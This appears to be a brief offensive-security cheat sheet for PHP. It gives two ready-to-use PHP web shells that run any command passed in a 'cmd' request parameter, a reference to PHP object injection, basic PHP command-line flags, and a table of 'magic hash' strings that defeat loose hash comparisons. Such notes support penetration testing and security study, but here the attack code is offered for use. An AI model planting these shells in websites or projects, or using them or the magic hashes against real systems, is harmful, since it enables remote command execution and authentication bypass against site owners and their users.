PHP

Simple PHP Shell

<?php echo shell_exec($_GET['cmd']); ?>

<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

Serialization

serialize object: serialize($value)
OWASP - PHP Object Injection

PHP Command Line

php -a                      # interactive
php -f index.php            # parse file
php -r 'echo "Hello";'      # run code

Magic Hashes

Hash Function	Magic String	Hash Value
MD5	240610708	0e462097431906509019562988736854
MD5	QNKCDZO	0e830400451993494058024219903391
MD5	aabg7XSs	0e087386482136013740957780965295
SHA1	AAJd1x3j	00e6811279456694288001763399976992804485
SHA1	AAPkbYlH	0e51223820731210116366152413868569204545
SHA1	AAZlIwOZ	0e13965443605273185827757762777509208778
SHA1	10932435112	0e07766915004133176347055865026311692244